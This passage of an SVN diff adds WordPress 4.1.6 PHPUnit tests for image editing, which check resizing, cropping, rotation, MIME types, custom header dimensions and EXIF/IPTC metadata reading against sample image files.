+			array(
+				'file'      => 'waffles-30x20.jpg',
+				'width'     => 30,
+				'height'    => 20,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #3
+			array(
+				'file'      => 'waffles-45x400.jpg',
+				'width'     => 45,
+				'height'    => 400,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #4
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #5
+			array(
+				'file'      => 'waffles-55x37.jpg',
+				'width'     => 55,
+				'height'    => 37,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #6
+			array(
+				'file'      => 'waffles-83x55.jpg',
+				'width'     => 83,
+				'height'    => 55,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #7
+			array(
+				'file'      => 'waffles-90x60.jpg',
+				'width'     => 90,
+				'height'    => 60,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #8
+			array(
+				'file'      => 'waffles-105x70.jpg',
+				'width'     => 105,
+				'height'    => 70,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #9
+			array(
+				'file'      => 'waffles-200x133.jpg',
+				'width'     => 200,
+				'height'    => 133,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertNotNull( $resized );
+		$this->assertEquals( $expected_array, $resized );
+
+		foreach( $resized as $key => $image_data ){
+			$image_path = DIR_TESTDATA . '/images/' . $image_data['file'];
+
+			// Now, verify real dimensions are as expected
+			$this->assertImageDimensions(
+				$image_path,
+				$expected_array[$key]['width'],
+				$expected_array[$key]['height']
+			);
+		}
+	}
+
+	/**
+	 * Test resizing an image with cropping
+	 */
+	public function test_resize_and_crop() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->resize( 100, 50, true );
+
+		$this->assertEquals(
+			array(
+				'width'  => 100,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test cropping an image
+	 */
+	public function test_crop() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->crop( 0, 0, 50, 50 );
+
+		$this->assertEquals(
+			array(
+				'width' => 50,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test rotating an image 180 deg
+	 */
+	public function test_rotate() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$property = new ReflectionProperty( $imagick_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor();
+
+		$imagick_image_editor->rotate( 180 );
+
+		$this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 99, 99 )->getColor() );
+	}
+
+	/**
+	 * Test flipping an image
+	 */
+	public function test_flip() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$property = new ReflectionProperty( $imagick_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor();
+
+		$imagick_image_editor->flip( true, false );
+
+		$this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 99 )->getColor() );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_Imagick preserves alpha when resizing
+	 *
+	 * @ticket 24871
+	 */
+	public function test_image_preserves_alpha_on_resize() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+		
+		$editor->load();
+		$editor->resize( 5, 5 );
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$im = new Imagick( $save_to_file );
+		$pixel = $im->getImagePixelColor( 0, 0 );
+		$expected = $pixel->getColorValue( imagick::COLOR_ALPHA );
+
+		$this->assertImageAlphaAtPointImagick( $save_to_file, array( 0,0 ), $expected );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_Imagick preserves alpha with no resizing etc
+	 *
+	 * @ticket 24871
+	 */
+	public function test_image_preserves_alpha() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$im = new Imagick( $save_to_file );
+		$pixel = $im->getImagePixelColor( 0, 0 );
+		$expected = $pixel->getColorValue( imagick::COLOR_ALPHA );
+
+		$this->assertImageAlphaAtPointImagick( $save_to_file, array( 0,0 ), $expected );
+
+		unlink( $save_to_file );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/functions.php	(revision 33402)
@@ -0,0 +1,338 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Functions extends WP_UnitTestCase {
+
+	/**
+	 * Setup test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+	}
+
+	/**
+	 * Get the MIME type of a file
+	 * @param string $filename
+	 * @return string
+	 */
+	protected function get_mime_type( $filename ) {
+		$mime_type = '';
+		if ( extension_loaded( 'fileinfo' ) ) {
+			$finfo = new finfo();
+			$mime_type = $finfo->file( $filename, FILEINFO_MIME );
+		}
+		if ( false !== strpos( $mime_type, ';' ) ) {
+			list( $mime_type, $charset ) = explode( ';', $mime_type, 2 );
+		}
+		return $mime_type;
+	}
+
+	function test_is_image_positive() {
+		// these are all image files recognized by php
+		$files = array(
+			'test-image-cmyk.jpg',
+			'test-image.bmp',
+			'test-image-grayscale.jpg',
+			'test-image.gif',
+			'test-image.png',
+			'test-image.tiff',
+			'test-image-lzw.tiff',
+			'test-image.jp2',
+			'test-image.psd',
+			'test-image-zip.tiff',
+			'test-image.jpg',
+			);
+
+		foreach ($files as $file) {
+			$this->assertTrue( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+		}
+	}
+
+	function test_is_image_negative() {
+		// these are actually image files but aren't recognized or usable by php
+		$files = array(
+			'test-image.pct',
+			'test-image.tga',
+			'test-image.sgi',
+			);
+
+		foreach ($files as $file) {
+			$this->assertFalse( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+		}
+	}
+
+	function test_is_displayable_image_positive() {
+		// these are all usable in typical web browsers
+		$files = array(
+			'test-image.gif',
+			'test-image.png',
+			'test-image.jpg',
+			);
+
+		foreach ($files as $file) {
+			$this->assertTrue( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+		}
+	}
+
+	function test_is_displayable_image_negative() {
+		// these are image files but aren't suitable for web pages because of compatibility or size issues
+		$files = array(
+			// 'test-image-cmyk.jpg', Allowed in r9727
+			// 'test-image.bmp', Allowed in r28589
+			// 'test-image-grayscale.jpg', Allowed in r9727
+			'test-image.pct',
+			'test-image.tga',
+			'test-image.sgi',
+			'test-image.tiff',
+			'test-image-lzw.tiff',
+			'test-image.jp2',
+			'test-image.psd',
+			'test-image-zip.tiff',
+			);
+
+		foreach ($files as $file) {
+			$this->assertFalse( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+		}
+	}
+
+	/**
+	 * Test save image file and mime_types
+	 * @ticket 6821
+	 */
+	public function test_wp_save_image_file() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+		// Mime types
+		$mime_types = array(
+			'image/jpeg',
+			'image/gif',
+			'image/png'
+		);
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save a file as each mime type, assert it works
+			foreach ( $mime_types as $mime_type ) {
+				$file = wp_tempnam();
+				$ret = wp_save_image_file( $file, $img, $mime_type, 1 );
+				$this->assertNotEmpty( $ret );
+				$this->assertNotInstanceOf( 'WP_Error', $ret );
+				$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+				// Clean up
+				unlink( $file );
+				unlink( $ret['path'] );
+			}
+
+			// Clean up
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Test that a passed mime type overrides the extension in the filename
+	 * @ticket 6821
+	 */
+	public function test_mime_overrides_filename() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save the file
+			$mime_type = 'image/gif';
+			$file = wp_tempnam( 'tmp.jpg' );
+			$ret = $img->save( $file, $mime_type );
+
+			// Make assertions
+			$this->assertNotEmpty( $ret );
+			$this->assertNotInstanceOf( 'WP_Error', $ret );
+			$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+			// Clean up
+			unlink( $file );
+			unlink( $ret['path'] );
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Test that mime types are correctly inferred from file extensions
+	 * @ticket 6821
+	 */
+	public function test_inferred_mime_types() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		// Mime types
+		$mime_types = array(
+			'jpg'  => 'image/jpeg',
+			'jpeg' => 'image/jpeg',
+			'jpe'  => 'image/jpeg',
+			'gif'  => 'image/gif',
+			'png'  => 'image/png',
+			'unk'  => 'image/jpeg' // Default, unknown
+		);
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save the image as each file extension, check the mime type
+			$img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+			$this->assertNotInstanceOf( 'WP_Error', $img );
+
+			$temp = get_temp_dir();
+			foreach ( $mime_types as $ext => $mime_type ) {
+				$file = wp_unique_filename( $temp, uniqid() . ".$ext" );
+				$ret = $img->save( trailingslashit( $temp ) . $file );
+				$this->assertNotEmpty( $ret );
+				$this->assertNotInstanceOf( 'WP_Error', $ret );
+				$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+				unlink( $ret['path'] );
+			}
+
+			// Clean up
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Try loading a directory
+	 *
+	 * @ticket 17814
+	 * @expectedDeprecated wp_load_image
+	 */
+	public function test_load_directory() {
+
+		// First, test with deprecated wp_load_image function
+		$editor1 = wp_load_image( DIR_TESTDATA );
+		$this->assertNotInternalType( 'resource', $editor1 );
+
+		$editor2 = wp_get_image_editor( DIR_TESTDATA );
+		$this->assertNotInternalType( 'resource', $editor2 );
+
+		// Then, test with editors.
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$editor = new $class( DIR_TESTDATA );
+			$loaded = $editor->load();
+
+			$this->assertInstanceOf( 'WP_Error', $loaded );
+			$this->assertEquals( 'error_loading_image', $loaded->get_error_code() );
+		}
+	}
+
+	public function test_wp_crop_image_file() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertNotInstanceOf( 'WP_Error', $file );
+		$this->assertFileExists( $file );
+		$image = wp_get_image_editor( $file );
+		$size = $image->get_size();
+		$this->assertEquals( 100, $size['height'] );
+		$this->assertEquals( 100, $size['width'] );
+
+		unlink( $file );
+	}
+
+	public function test_wp_crop_image_url() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		$file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canola.jpg',
+							  0, 0, 100, 100, 100, 100, false,
+							  DIR_TESTDATA . '/images/' . rand_str() . '.jpg' );
+		$this->assertNotInstanceOf( 'WP_Error', $file );
+		$this->assertFileExists( $file );
+		$image = wp_get_image_editor( $file );
+		$size = $image->get_size();
+		$this->assertEquals( 100, $size['height'] );
+		$this->assertEquals( 100, $size['width'] );
+
+		unlink( $file );
+	}
+
+	public function test_wp_crop_image_file_not_exist() {
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canoladoesnotexist.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+	}
+
+	public function test_wp_crop_image_url_not_exist() {
+		$file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canoladoesnotexist.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+	}
+
+	function mock_image_editor( $editors ) {
+		return array( 'WP_Image_Editor_Mock' );
+	}
+
+	/**
+	 * @ticket 23325
+	 */
+	public function test_wp_crop_image_error_on_saving() {
+		WP_Image_Editor_Mock::$save_return = new WP_Error();
+		add_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+
+		remove_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+		WP_Image_Editor_Mock::$save_return = array();
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/header.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/header.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/header.php	(revision 33402)
@@ -0,0 +1,145 @@
+<?php
+require_once( ABSPATH . 'wp-admin/custom-header.php');
+
+/**
+ * @group image
+ * @group header
+ */
+class Tests_Image_Header extends WP_UnitTestCase {
+	var $custom_image_header;
+
+	function setUp() {
+		parent::setUp();
+		$this->custom_image_header = new Custom_Image_Header( '__return_null' );
+	}
+
+	function test_header_image_has_correct_dimensions_with_max_width() {
+		global $_wp_theme_features;
+
+		$_wp_theme_features['custom-header'][0]['max-width'] = 1600;
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( $dimensions['dst_width'], 1200);
+		$this->assertEquals( $dimensions['dst_height'], 230);
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_fixed() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( $dimensions['dst_width'], 1200);
+		$this->assertEquals( $dimensions['dst_height'], 230);
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_height() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = true;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( $dimensions['dst_width'], 1200);
+		$this->assertEquals( $dimensions['dst_height'], 900);
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_width() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = true;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( $dimensions['dst_width'], 1500); // max width
+		$this->assertEquals( $dimensions['dst_height'], 230);
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_width_and_height() {
+		global $_wp_theme_features;
+
+		$_wp_theme_features['custom-header'][0]['max-width'] = 1800;
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = true;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = true;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( $dimensions['dst_width'], 1600);
+		$this->assertEquals( $dimensions['dst_height'], 1200);
+
+	}
+
+	function test_create_attachment_object() {
+		global $custom_image_header;
+
+		$id = wp_insert_attachment( array(
+			'post_status' => 'publish',
+			'post_title' => 'foo.png',
+			'post_type' => 'post',
+			'guid' => 'http://localhost/foo.png'
+		) );
+
+		$cropped = 'http://localhost/foo-cropped.png';
+
+		$object = $this->custom_image_header->create_attachment_object( $cropped, $id );
+		$this->assertEquals( $object['post_title'], 'foo-cropped.png' );
+		$this->assertEquals( $object['guid'], $cropped );
+		$this->assertEquals( $object['context'], 'custom-header' );
+		$this->assertEquals( $object['post_mime_type'], 'image/jpeg' );
+		$this->assertEquals( $object['post_content'], $cropped );
+	}
+
+	function test_insert_cropped_attachment() {
+		global $custom_image_header;
+
+		$id = wp_insert_attachment( array(
+			'post_status' => 'publish',
+			'post_title' => 'foo.png',
+			'post_type' => 'post',
+			'guid' => 'http://localhost/foo.png'
+		) );
+
+		$cropped = 'http://localhost/foo-cropped.png';
+		$object = $this->custom_image_header->create_attachment_object( $cropped, $id );
+
+		$cropped_id = $this->custom_image_header->insert_attachment( $object, $cropped );
+
+		$this->assertInternalType( 'int', $cropped_id );
+		$this->assertGreaterThan( 0, $cropped_id );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/intermediate_size.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/intermediate_size.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/intermediate_size.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Intermediate_Size extends WP_UnitTestCase {
+	function tearDown() {
+		$this->remove_added_uploads();
+		parent::tearDown();
+	}
+
+	function test_make_intermediate_size_no_size() {
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 0, false );
+
+		$this->assertFalse( $image );
+	}
+
+	function test_make_intermediate_size_width() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 0, false );
+
+		$this->assertInternalType( 'array', $image );
+	}
+
+	function test_make_intermediate_size_height() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 75, false );
+
+		$this->assertInternalType( 'array', $image );
+	}
+
+	function test_make_intermediate_size_successful() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->markTestSkipped( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 75, true );
+
+		$this->assertInternalType( 'array', $image );
+		$this->assertEquals( 100, $image['width'] );
+		$this->assertEquals( 75, $image['height'] );
+		$this->assertEquals( 'image/jpeg', $image['mime-type'] );
+
+		$this->assertFalse( isset( $image['path'] ) );
+
+		unlink( DIR_TESTDATA . '/images/a2-small-100x75.jpg' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/meta.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/meta.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/meta.php	(revision 33402)
@@ -0,0 +1,141 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Meta extends WP_UnitTestCase {
+	function setUp() {
+		if ( ! extension_loaded( 'gd' ) )
+			$this->markTestSkipped( 'The gd PHP extension is not loaded.' );
+		if ( ! extension_loaded( 'exif' ) )
+			$this->markTestSkipped( 'The exif PHP extension is not loaded.' );
+		if ( ! is_callable( 'wp_read_image_metadata' ) )
+			$this->markTestSkipped( 'wp_read_image_metadata() is not callable.' );
+		parent::setUp();
+	}
+
+	function test_exif_d70() {
+		// exif from a Nikon D70
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0008.jpg');
+
+		$this->assertEquals(6.3, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2004-07-22 17:14:59'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(27, $out['focal_length']);
+		$this->assertEquals(400, $out['iso']);
+		$this->assertEquals(1/40, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	function test_exif_d70_mf() {
+		// exif from a Nikon D70 - manual focus lens, so some data is unavailable
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2007-06-17 21:18:00'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']); // interesting - a Nikon bug?
+		$this->assertEquals(1/500, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+		#$this->assertEquals(array('Flowers'), $out['keywords']);
+	}
+
+	function test_exif_d70_iptc() {
+		// exif from a Nikon D70 with IPTC data added later
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0007.jpg');
+
+		$this->assertEquals(6.3, $out['aperture']);
+		$this->assertEquals('IPTC Creator', $out['credit']);
+		$this->assertEquals('NIKON D70', $out['camera']);
+		$this->assertEquals('IPTC Caption', $out['caption']);
+		$this->assertEquals(strtotime('2004-07-22 17:14:35'), $out['created_timestamp']);
+		$this->assertEquals('IPTC Copyright', $out['copyright']);
+		$this->assertEquals(18, $out['focal_length']);
+		$this->assertEquals(200, $out['iso']);
+		$this->assertEquals(1/25, $out['shutter_speed']);
+		$this->assertEquals('IPTC Headline', $out['title']);
+	}
+
+	function test_exif_fuji() {
+		// exif from a Fuji FinePix S5600 (thanks Mark)
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/a2-small.jpg');
+
+		$this->assertEquals(4.5, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('FinePix S5600', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(strtotime('2007-09-03 10:17:03'), $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(6.3, $out['focal_length']);
+		$this->assertEquals(64, $out['iso']);
+		$this->assertEquals(1/320, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+
+	}
+
+	/**
+	 * @ticket 6571
+	 */
+	function test_exif_error() {
+
+		// https://core.trac.wordpress.org/ticket/6571
+		// this triggers a warning mesage when reading the exif block
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/waffles.jpg');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(0, $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']);
+		$this->assertEquals(0, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	function test_exif_no_data() {
+		// no exif data in this image (from burningwell.org)
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/canola.jpg');
+
+		$this->assertEquals(0, $out['aperture']);
+		$this->assertEquals('', $out['credit']);
+		$this->assertEquals('', $out['camera']);
+		$this->assertEquals('', $out['caption']);
+		$this->assertEquals(0, $out['created_timestamp']);
+		$this->assertEquals('', $out['copyright']);
+		$this->assertEquals(0, $out['focal_length']);
+		$this->assertEquals(0, $out['iso']);
+		$this->assertEquals(0, $out['shutter_speed']);
+		$this->assertEquals('', $out['title']);
+	}
+
+	/**
+	 * @ticket 9417
+	 */
+	function test_utf8_iptc_tags() {
+
+		// trilingual UTF-8 text in the ITPC caption-abstract field
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/test-image-iptc.jpg');
+
+		$this->assertEquals('This is a comment. / Это комментарий. / Βλέπετε ένα σχόλιο.', $out['caption']);
+	}
+
+	/**
+	 * wp_read_image_metadata() should false if the image file doesn't exist
+	 * @return void
+	 */
+	public function test_missing_image_file() {
+		$out = wp_read_image_metadata(DIR_TESTDATA.'/images/404_image.png');
+		$this->assertFalse($out);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/image/resize.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/image/resize.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/image/resize.php	(revision 33402)
@@ -0,0 +1,188 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ * @group resize
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+abstract class WP_Tests_Image_Resize_UnitTestCase extends WP_Image_UnitTestCase {
+
+	function test_resize_jpg() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 25, 25 );
+
+		$this->assertEquals( 'test-image-25x25.jpg', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_JPEG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_png() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.png', 25, 25 );
+
+		if ( ! is_string( $image ) ) {  // WP_Error, stop GLib-GObject-CRITICAL assertion
+			$this->markTestSkipped( sprintf( 'No PNG support in the editor engine %s on this system', $this->editor_engine ) );
+			return;
+		}
+
+		$this->assertEquals( 'test-image-25x25.png', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_PNG, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_gif() {
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.gif', 25, 25 );
+
+		if ( ! is_string( $image ) ) {  // WP_Error, stop GLib-GObject-CRITICAL assertion
+			$this->markTestSkipped( sprintf( 'No GIF support in the editor engine %s on this system', $this->editor_engine ) );
+			return;
+		}
+
+		$this->assertEquals( 'test-image-25x25.gif', basename( $image ) );
+		list($w, $h, $type) = getimagesize($image);
+		$this->assertEquals( 25, $w );
+		$this->assertEquals( 25, $h );
+		$this->assertEquals( IMAGETYPE_GIF, $type );
+
+		unlink( $image );
+	}
+
+	function test_resize_larger() {
+		// image_resize() should refuse to make an image larger
+		$image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 100, 100 );
+
+		$this->assertInstanceOf( 'WP_Error', $image );
